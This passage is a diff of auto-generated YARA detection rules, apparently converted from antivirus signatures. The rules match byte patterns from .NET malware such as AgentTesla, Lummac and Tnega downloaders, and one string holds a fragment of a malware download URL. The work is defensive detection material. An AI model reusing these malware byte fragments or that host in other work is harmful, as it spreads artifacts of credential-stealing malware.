"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0b 00 21 " @@ -185834,7 +198313,7 @@ rule _InfrastructureShared_15907{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*66+(#a_00_2 & 1)*117+(#a_00_3 & 1)*12392+(#a_69_4 & 1)*384+(#a_65_5 & 1)*24942+(#a_00_6 & 1)*9+(#a_33_7 & 1)*26967+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=8 } -rule _InfrastructureShared_15908{ +rule _InfrastructureShared_16956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -185843,46 +198322,30 @@ rule _InfrastructureShared_15908{ $a_61_2 = {69 63 41 72 72 61 79 49 6e 69 74 54 79 70 65 53 69 7a 65 2e 70 64 62 01 00 18 80 01 43 6f 6d 70 6f 6e 65 6e 74 52 65 73 6f 75 72 63 65 4d 61 6e 61 67 65 72 01 00 06 80 01 42 69 74 6d 61 70 01 00 1b 80 01 4d 74 47 6f 78 54 72 61 64 65 72 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 13 80 01 7a 6e 48 77 37 61 4f 4e 6e 54 6e 63 58 64 51 35 } //21249 $a_01_3 = {00 0a 80 01 65 4d 54 58 57 34 34 65 70 37 01 00 0a 80 01 47 65 74 4d 65 74 68 6f 64 73 00 00 78 f9 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 41 48 4c 21 4d 54 42 00 01 00 49 01 53 69 6e 67 6c 65 00 } //31064 $a_69_4 = {67 00 45 6e 63 6f 64 69 6e 67 00 53 79 73 74 65 6d 2e 54 65 78 74 00 53 74 72 69 6e 67 42 75 69 6c 64 65 72 00 4d 6f 6e 69 74 6f 72 00 53 79 73 74 65 6d 2e 54 68 72 65 61 64 69 6e 67 01 00 08 01 52 65 61 64 42 79 74 65 01 00 09 01 42 6c 6f 63 6b 43 6f 70 79 01 00 14 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 0c 01 } //29779 - $a_5f_5 = {75 6c 6c 4e 61 6d 65 01 00 0c 01 42 69 6e 64 69 6e 67 46 6c 61 67 73 01 00 06 01 54 68 72 65 61 64 01 00 13 01 45 6c 61 70 73 65 64 45 76 65 6e 74 48 61 6e 64 6c 65 72 01 00 0d 01 53 79 73 74 65 6d 2e 54 69 6d 65 72 73 00 00 78 f9 00 00 0a 00 0a 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 63 2e 50 47 4c 21 4d 54 } //25959 - $a_00_6 = {58 } //66 X - $a_54_7 = {6c 59 32 5a 6b 4e 32 52 6a 4f 44 51 7a 5a 54 4d 35 5a 54 41 34 5a 6d 45 34 4d 57 45 78 4d 7a 51 32 4e 54 46 6b 4e 6a 56 68 4e 6a 49 32 4d 44 45 77 4e 44 63 30 5a 54 4a 6d 4e 7a 51 33 59 7a 55 78 4d 44 67 33 4d 57 4a 6a 4d 54 63 31 4e 32 51 79 4d 67 3d 3d 02 00 40 01 } //384 - $a_34_8 = {43 33 34 46 32 37 30 34 38 36 35 41 39 45 34 32 34 42 45 35 37 35 35 42 43 38 46 39 31 34 30 34 31 34 46 44 37 45 31 34 35 36 46 31 41 34 35 38 31 46 38 43 } //17473 C34F2704865A9E424BE5755BC8F9140414FD7E1456F1A4581F8C + $a_5f_5 = {75 6c 6c 4e 61 6d 65 01 00 0c 01 42 69 6e 64 69 6e 67 46 6c 61 67 73 01 00 06 01 54 68 72 65 61 64 01 00 13 01 45 6c 61 70 73 65 64 45 76 65 6e 74 48 61 6e 64 6c 65 72 01 00 0d 01 53 79 73 74 65 6d 2e 54 69 6d 65 72 73 00 00 78 f9 00 00 10 00 10 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d } //25959 + $a_21_6 = {54 42 00 01 00 2f 00 00 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 } //13619 condition: - ((#a_46_0 & 1)*16675+(#a_61_2 & 1)*21249+(#a_01_3 & 1)*31064+(#a_69_4 & 1)*29779+(#a_5f_5 & 1)*25959+(#a_00_6 & 1)*66+(#a_54_7 & 1)*384+(#a_34_8 & 1)*17473) >=9 + ((#a_46_0 & 1)*16675+(#a_61_2 & 1)*21249+(#a_01_3 & 1)*31064+(#a_69_4 & 1)*29779+(#a_5f_5 & 1)*25959+(#a_21_6 & 1)*13619) >=9 } -rule _InfrastructureShared_15909{ +rule _InfrastructureShared_16957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 41 48 4c 21 4d 54 42 00 01 00 49 01 53 69 6e 67 6c 65 00 53 74 72 69 6e 67 00 45 6e 63 6f 64 69 6e 67 00 53 79 73 74 65 6d 2e 54 65 78 74 00 53 74 72 69 6e 67 42 75 69 6c 64 65 72 00 4d 6f 6e } //18467 $a_72_1 = {53 79 73 74 65 6d 2e 54 68 72 65 61 64 69 6e 67 01 00 08 01 52 65 61 64 42 79 74 65 01 00 09 01 42 6c 6f 63 6b 43 6f 70 79 01 00 14 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 0c 01 67 65 74 5f 46 75 6c 6c 4e 61 6d 65 01 00 0c 01 42 69 6e 64 69 6e 67 46 6c 61 67 73 01 00 06 01 54 68 72 65 61 64 01 00 13 01 } //29801 - $a_70_2 = {65 64 45 76 65 6e 74 48 61 6e 64 6c 65 72 01 00 0d 01 53 79 73 74 65 6d 2e 54 69 6d 65 72 73 00 00 78 f9 00 00 0a 00 0a 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 63 2e 50 47 4c 21 4d 54 42 00 01 00 58 80 01 59 54 56 6c 59 32 5a 6b 4e 32 52 6a 4f 44 51 7a } //27717 - $a_35_3 = {54 41 34 5a 6d 45 34 4d 57 45 78 4d 7a 51 32 4e 54 46 6b 4e 6a 56 68 4e 6a 49 32 4d 44 45 77 4e 44 63 30 5a 54 4a 6d 4e 7a 51 33 59 7a 55 78 4d 44 67 33 4d 57 4a 6a 4d 54 63 31 4e 32 51 79 4d 67 3d 3d 02 00 40 01 41 44 34 34 36 43 } //21594 - $a_32_4 = {30 34 38 36 35 41 39 45 34 32 34 42 45 35 37 35 35 42 43 38 46 39 31 34 30 34 31 34 46 44 37 45 31 34 35 36 46 31 41 34 35 38 31 46 38 43 32 44 37 37 38 41 30 03 00 18 01 52 53 41 43 72 79 70 74 6f 53 65 72 76 } //13363 㐰㘸䄵䔹㈴䈴㕅㔷䈵㡃㥆㐱㐰㐱䑆䔷㐱㘵ㅆ㑁㠵䘱䌸䐲㜷䄸̰᠀刁䅓牃灹潴敓癲 - $a_50_5 = {6f 76 69 64 65 72 04 00 0f 00 43 72 65 61 74 65 45 6e 63 72 79 70 74 6f 72 00 00 78 f9 00 00 10 00 10 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 33 35 33 21 4d 54 42 00 01 00 2f 00 00 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 } //25449 - $a_66_6 = {66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 00 01 00 44 00 00 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 00 01 00 08 80 01 47 65 74 50 } //26214 - $a_6c_7 = {00 08 00 54 6f 53 74 72 69 6e 67 01 00 0c 00 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 0a 00 11 02 16 0b 20 00 90 01 01 00 00 8d 90 01 04 0c 28 90 00 00 00 78 f9 00 00 11 00 11 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 } //30825 - $a_61_8 = {42 49 57 21 4d 54 42 00 0a 00 4f 02 01 25 16 d0 90 01 03 1b 28 90 01 03 0a a2 28 90 01 03 0a 14 17 8d 90 01 03 01 25 16 28 90 01 03 06 28 90 01 03 06 28 90 01 03 06 a2 6f 90 01 03 0a 74 90 01 03 01 7d 90 01 03 04 7e 90 01 03 04 2d 24 16 d0 90 01 03 01 28 90 01 03 0a 90 00 01 00 0f 81 01 43 6f 6d 70 72 65 73 73 69 6f 6e 4d } //29541 + $a_70_2 = {65 64 45 76 65 6e 74 48 61 6e 64 6c 65 72 01 00 0d 01 53 79 73 74 65 6d 2e 54 69 6d 65 72 73 00 00 78 f9 00 00 10 00 10 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 33 35 33 21 4d 54 42 00 01 00 2f 00 00 66 66 66 66 66 66 66 66 66 66 } //27717 + $a_66_3 = {66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 00 01 00 44 00 00 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 77 } //26214 + $a_65_5 = {50 69 78 65 6c 01 00 08 00 54 6f 53 74 72 69 6e 67 01 00 0c 00 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 0a 00 11 02 16 0b 20 00 ?? 00 00 8d ?? ?? ?? ?? 0c 28 } //384 + $a_f9_6 = {00 11 00 11 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 49 57 21 4d 54 42 00 0a 00 4f 02 01 25 16 d0 90 01 03 1b 28 90 01 03 0a a2 28 90 01 03 0a 14 17 8d 90 01 03 01 25 16 28 90 01 03 06 28 90 01 03 06 28 90 01 03 06 a2 6f 90 01 03 0a 74 90 01 03 01 7d 90 01 03 04 7e 90 01 03 04 2d 24 16 d0 90 01 03 01 } //0 + $a_03_7 = {0a } //-28632 + $a_00_8 = {0f } //144 condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29801+(#a_70_2 & 1)*27717+(#a_35_3 & 1)*21594+(#a_32_4 & 1)*13363+(#a_50_5 & 1)*25449+(#a_66_6 & 1)*26214+(#a_6c_7 & 1)*30825+(#a_61_8 & 1)*29541) >=9 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29801+(#a_70_2 & 1)*27717+(#a_66_3 & 1)*26214+(#a_65_5 & 1)*384+(#a_f9_6 & 1)*0+(#a_03_7 & 1)*-28632+(#a_00_8 & 1)*144) >=9 } -rule _InfrastructureShared_15910{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 63 2e 50 47 4c 21 4d 54 42 00 01 00 58 80 01 59 54 56 6c 59 32 5a 6b 4e 32 52 6a 4f 44 51 7a 5a 54 4d 35 5a 54 41 34 5a 6d 45 34 4d 57 45 78 4d 7a 51 32 4e } //21539 - $a_4e_1 = {56 68 4e 6a 49 32 4d 44 45 77 4e 44 63 30 5a 54 4a 6d 4e 7a 51 33 59 7a 55 78 4d 44 67 33 4d 57 4a 6a 4d 54 63 31 4e 32 51 79 4d 67 3d 3d 02 00 40 01 41 44 34 34 36 43 33 34 46 32 37 30 34 38 36 35 41 39 45 34 32 34 42 45 35 37 35 35 42 43 38 46 39 31 34 30 34 31 34 46 44 37 45 31 34 35 36 46 31 41 34 35 38 31 46 38 43 } //18004 - $a_37_2 = {41 30 03 00 18 01 52 53 41 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 04 00 0f 00 43 72 65 61 74 65 45 6e 63 72 79 70 74 6f 72 00 00 78 f9 00 00 } //17458 - $a_00_3 = {07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d } //16 - condition: - ((#a_4c_0 & 1)*21539+(#a_4e_1 & 1)*18004+(#a_37_2 & 1)*17458+(#a_00_3 & 1)*16) >=10 - -} -rule _InfrastructureShared_15911{ +rule _InfrastructureShared_16958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -185898,7 +198361,7 @@ rule _InfrastructureShared_15911{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*26214+(#a_65_2 & 1)*12+(#a_6c_3 & 1)*25940+(#a_5a_4 & 1)*385+(#a_65_5 & 1)*385+(#a_36_6 & 1)*25380) >=16 } -rule _InfrastructureShared_15912{ +rule _InfrastructureShared_16959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -185915,7 +198378,7 @@ rule _InfrastructureShared_15912{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*1539+(#a_00_2 & 1)*17+(#a_3a_3 & 1)*24938+(#a_6f_4 & 1)*1+(#a_00_5 & 1)*25968+(#a_90_6 & 1)*1299+(#a_01_7 & 1)*10263) >=17 } -rule _InfrastructureShared_15913{ +rule _InfrastructureShared_16960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 09 00 21 " @@ -185932,7 +198395,7 @@ rule _InfrastructureShared_15913{ ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*385+(#a_54_3 & 1)*28524+(#a_00_4 & 1)*17+(#a_2f_5 & 1)*18771+(#a_25_6 & 1)*400+(#a_28_7 & 1)*9634+(#a_65_8 & 1)*384) >=17 } -rule _InfrastructureShared_15914{ +rule _InfrastructureShared_16961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 09 00 21 " @@ -185949,7 +198412,7 @@ rule _InfrastructureShared_15914{ ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*9728+(#a_04_2 & 1)*-28531+(#a_01_3 & 1)*10262+(#a_48_5 & 1)*8448+(#a_02_6 & 1)*10+(#a_80_7 & 1)*2+(#a_80_8 & 1)*2) >=17 } -rule _InfrastructureShared_15915{ +rule _InfrastructureShared_16962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " @@ -185964,7 +198427,7 @@ rule _InfrastructureShared_15915{ ((#a_54_0 & 1)*18467+(#a_0d_1 & 1)*400+(#a_11_2 & 1)*4868+(#a_05_3 & 1)*-26090+(#a_26_4 & 1)*400+(#a_03_5 & 1)*-28558) >=20 } -rule _InfrastructureShared_15916{ +rule _InfrastructureShared_16963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 05 00 21 " @@ -185976,7 +198439,7 @@ rule _InfrastructureShared_15916{ ((#a_46_0 & 1)*16675+(#a_5c_2 & 1)*12800+(#a_00_4 & 1)*119) >=25 } -rule _InfrastructureShared_15917{ +rule _InfrastructureShared_16964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2b 00 20 00 07 00 21 " @@ -185992,7 +198455,7 @@ rule _InfrastructureShared_15917{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*20300+(#a_64_2 & 1)*11890+(#a_53_3 & 1)*25961+(#a_04_4 & 1)*-28440+(#a_00_5 & 1)*2244+(#a_84_6 & 1)*6288) >=32 } -rule _InfrastructureShared_15918{ +rule _InfrastructureShared_16965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -186002,7 +198465,7 @@ rule _InfrastructureShared_15918{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_15919{ +rule _InfrastructureShared_16966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -186017,7 +198480,7 @@ rule _InfrastructureShared_15919{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*-28568+(#a_00_2 & 1)*5631+(#a_01_3 & 1)*-28603+(#a_90_4 & 1)*-31792+(#a_00_5 & 1)*120) >=1 } -rule _InfrastructureShared_15920{ +rule _InfrastructureShared_16967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -186028,7 +198491,7 @@ rule _InfrastructureShared_15920{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-16085) >=2 } -rule _InfrastructureShared_15921{ +rule _InfrastructureShared_16968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -186038,7 +198501,7 @@ rule _InfrastructureShared_15921{ ((#a_77_0 & 1)*19491) >=2 } -rule _InfrastructureShared_15922{ +rule _InfrastructureShared_16969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -186048,7 +198511,7 @@ rule _InfrastructureShared_15922{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_15923{ +rule _InfrastructureShared_16970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -186059,7 +198522,7 @@ rule _InfrastructureShared_15923{ ((#a_46_0 & 1)*16675+(#a_03_2 & 1)*0) >=3 } -rule _InfrastructureShared_15924{ +rule _InfrastructureShared_16971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -186071,7 +198534,7 @@ rule _InfrastructureShared_15924{ ((#a_46_0 & 1)*16675+(#a_06_1 & 1)*510+(#a_03_2 & 1)*-28561) >=3 } -rule _InfrastructureShared_15925{ +rule _InfrastructureShared_16972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -186083,7 +198546,7 @@ rule _InfrastructureShared_15925{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28615+(#a_2d_2 & 1)*23085) >=3 } -rule _InfrastructureShared_15926{ +rule _InfrastructureShared_16973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -186095,7 +198558,7 @@ rule _InfrastructureShared_15926{ ((#a_54_0 & 1)*18467+(#a_05_1 & 1)*5636+(#a_01_2 & 1)*28425) >=3 } -rule _InfrastructureShared_15927{ +rule _InfrastructureShared_16974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -186106,7 +198569,7 @@ rule _InfrastructureShared_15927{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*15104) >=3 } -rule _InfrastructureShared_15928{ +rule _InfrastructureShared_16975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -186116,7 +198579,7 @@ rule _InfrastructureShared_15928{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15929{ +rule _InfrastructureShared_16976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -186128,7 +198591,7 @@ rule _InfrastructureShared_15929{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*-19450+(#a_4b_2 & 1)*18248) >=3 } -rule _InfrastructureShared_15930{ +rule _InfrastructureShared_16977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -186138,7 +198601,7 @@ rule _InfrastructureShared_15930{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15931{ +rule _InfrastructureShared_16978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -186149,7 +198612,7 @@ rule _InfrastructureShared_15931{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*108) >=3 } -rule _InfrastructureShared_15932{ +rule _InfrastructureShared_16979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -186163,7 +198626,7 @@ rule _InfrastructureShared_15932{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*84+(#a_00_4 & 1)*67+(#a_08_5 & 1)*2560+(#a_13_6 & 1)*0) >=3 } -rule _InfrastructureShared_15933{ +rule _InfrastructureShared_16980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -186176,7 +198639,7 @@ rule _InfrastructureShared_15933{ ((#a_54_0 & 1)*18467+(#a_06_1 & 1)*2560+(#a_39_2 & 1)*4572+(#a_00_3 & 1)*28420) >=4 } -rule _InfrastructureShared_15934{ +rule _InfrastructureShared_16981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -186187,7 +198650,7 @@ rule _InfrastructureShared_15934{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*20992) >=4 } -rule _InfrastructureShared_15935{ +rule _InfrastructureShared_16982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -186200,7 +198663,7 @@ rule _InfrastructureShared_15935{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*3355+(#a_6f_2 & 1)*1792+(#a_06_3 & 1)*4) >=4 } -rule _InfrastructureShared_15936{ +rule _InfrastructureShared_16983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -186215,7 +198678,7 @@ rule _InfrastructureShared_15936{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*48+(#a_00_2 & 1)*105+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=4 } -rule _InfrastructureShared_15937{ +rule _InfrastructureShared_16984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0b 00 21 " @@ -186233,7 +198696,7 @@ rule _InfrastructureShared_15937{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*25961+(#a_2e_2 & 1)*25712+(#a_00_5 & 1)*5+(#a_3a_6 & 1)*21587+(#a_45_7 & 1)*1024+(#a_05_8 & 1)*12800+(#a_79_9 & 1)*29549+(#a_00_10 & 1)*26480) >=4 } -rule _InfrastructureShared_15938{ +rule _InfrastructureShared_16985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -186244,7 +198707,7 @@ rule _InfrastructureShared_15938{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*0) >=5 } -rule _InfrastructureShared_15939{ +rule _InfrastructureShared_16986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -186258,7 +198721,7 @@ rule _InfrastructureShared_15939{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*28769+(#a_75_2 & 1)*385+(#a_42_3 & 1)*19745+(#a_68_4 & 1)*24909) >=5 } -rule _InfrastructureShared_15940{ +rule _InfrastructureShared_16987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -186272,7 +198735,7 @@ rule _InfrastructureShared_15940{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*-29368+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 } -rule _InfrastructureShared_15941{ +rule _InfrastructureShared_16988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -186289,7 +198752,7 @@ rule _InfrastructureShared_15941{ ((#a_46_0 & 1)*16675+(#a_25_1 & 1)*11565+(#a_44_2 & 1)*28265+(#a_77_3 & 1)*24940+(#a_70_4 & 1)*28519+(#a_57_6 & 1)*4096+(#a_72_7 & 1)*18036+(#a_61_8 & 1)*21294) >=5 } -rule _InfrastructureShared_15942{ +rule _InfrastructureShared_16989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -186303,7 +198766,7 @@ rule _InfrastructureShared_15942{ ((#a_4c_0 & 1)*21539+(#a_6c_2 & 1)*17665+(#a_54_3 & 1)*27745+(#a_00_5 & 1)*97+(#a_00_6 & 1)*32) >=5 } -rule _InfrastructureShared_15943{ +rule _InfrastructureShared_16990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -186317,7 +198780,7 @@ rule _InfrastructureShared_15943{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*111+(#a_53_3 & 1)*21084+(#a_4d_4 & 1)*16686+(#a_31_5 & 1)*25655) >=6 } -rule _InfrastructureShared_15944{ +rule _InfrastructureShared_16991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -186332,7 +198795,7 @@ rule _InfrastructureShared_15944{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*13155+(#a_45_2 & 1)*17476+(#a_00_3 & 1)*28532+(#a_53_4 & 1)*2304+(#a_53_5 & 1)*17481) >=6 } -rule _InfrastructureShared_15945{ +rule _InfrastructureShared_16992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0c 00 21 " @@ -186344,15 +198807,15 @@ rule _InfrastructureShared_15945{ $a_74_4 = {72 6f 74 65 63 74 6f 72 3e 02 00 25 00 cd 95 65 ad 55 34 b6 ad 72 9d 3f bb 80 da 0a 6c 49 e5 f2 5b 08 6c 9a 52 c9 a8 32 f7 9b 14 a3 17 5f f2 fe 6f 2a 02 00 25 00 15 3b 95 bd 20 6c 05 9a 6e be e7 c0 88 9e 7b 0c 64 e8 e8 1b 08 b0 3f 5f 7f 11 d5 0a 3a 14 02 ef c7 50 8d d1 75 03 00 20 00 18 19 55 ec 6a 87 } //20084 $a_3c_5 = {ca 79 ec f6 d6 8b 6b f3 8d 5f 03 8c 01 56 ee 43 7f 08 6c 9a 52 03 00 20 00 f2 d0 75 a3 0a 93 18 14 d1 ad 65 23 db a9 c1 f1 9d d2 1d 57 b4 fa 6e 9a 0d a9 6f 99 14 cf c3 b1 00 00 78 fa 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 50 31 31 30 37 32 33 21 4d 54 42 00 01 00 24 00 52 00 6f 00 66 00 66 00 6d 00 6d 00 63 00 6a 00 74 00 74 00 2e 00 46 00 6d 00 61 00 6d 00 6b 00 69 00 70 00 01 00 12 00 51 00 79 00 6b 00 6a 00 70 00 6c 00 6c 00 66 00 6f 00 01 00 4c 00 68 00 74 00 74 00 70 00 } //5202 $a_00_6 = {2f 00 70 00 72 00 6f 00 73 00 72 00 65 00 74 00 61 00 69 00 6c 00 2e 00 61 00 7a 00 2f 00 6f 00 70 00 74 00 69 00 6f 00 6e 00 2f 00 4a 00 78 } //58 - $a_00_8 = {2e 00 77 00 61 00 76 00 01 00 05 01 4b 78 70 77 68 01 00 0a 01 4b 69 6a 6f 67 72 65 69 6f 6a 01 00 0b 01 4b 69 6a 70 67 72 65 69 6a 72 67 01 00 0a 01 45 68 6a 66 65 41 73 79 6e 63 00 00 78 fa 00 00 0a 00 0a 00 0a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 } //121 - $a_2e_9 = {4b 56 21 4d 54 42 00 01 00 24 03 08 09 11 04 6f 90 01 03 0a 13 05 08 09 11 04 28 90 01 03 06 13 06 07 06 02 11 06 28 90 01 03 06 d2 9c 90 00 01 00 09 01 00 54 6f 57 69 6e 33 32 00 01 00 0a 01 00 47 65 74 54 79 70 65 73 00 01 00 10 01 00 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 00 01 00 0b } //27763 - $a_72_10 = {6d 53 74 61 72 74 00 01 00 0a 01 00 47 65 74 50 69 78 65 6c 00 01 00 11 01 00 43 6f 6c 6f 72 54 72 61 6e 73 6c 61 74 6f 72 00 01 00 13 01 00 47 65 74 54 79 70 65 46 72 6f 6d 48 61 6e 64 6c 65 00 01 00 15 01 00 44 65 62 75 67 67 61 62 6c 65 41 74 74 72 } //1 - $a_74_11 = {00 01 00 10 01 00 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 00 00 00 78 fa 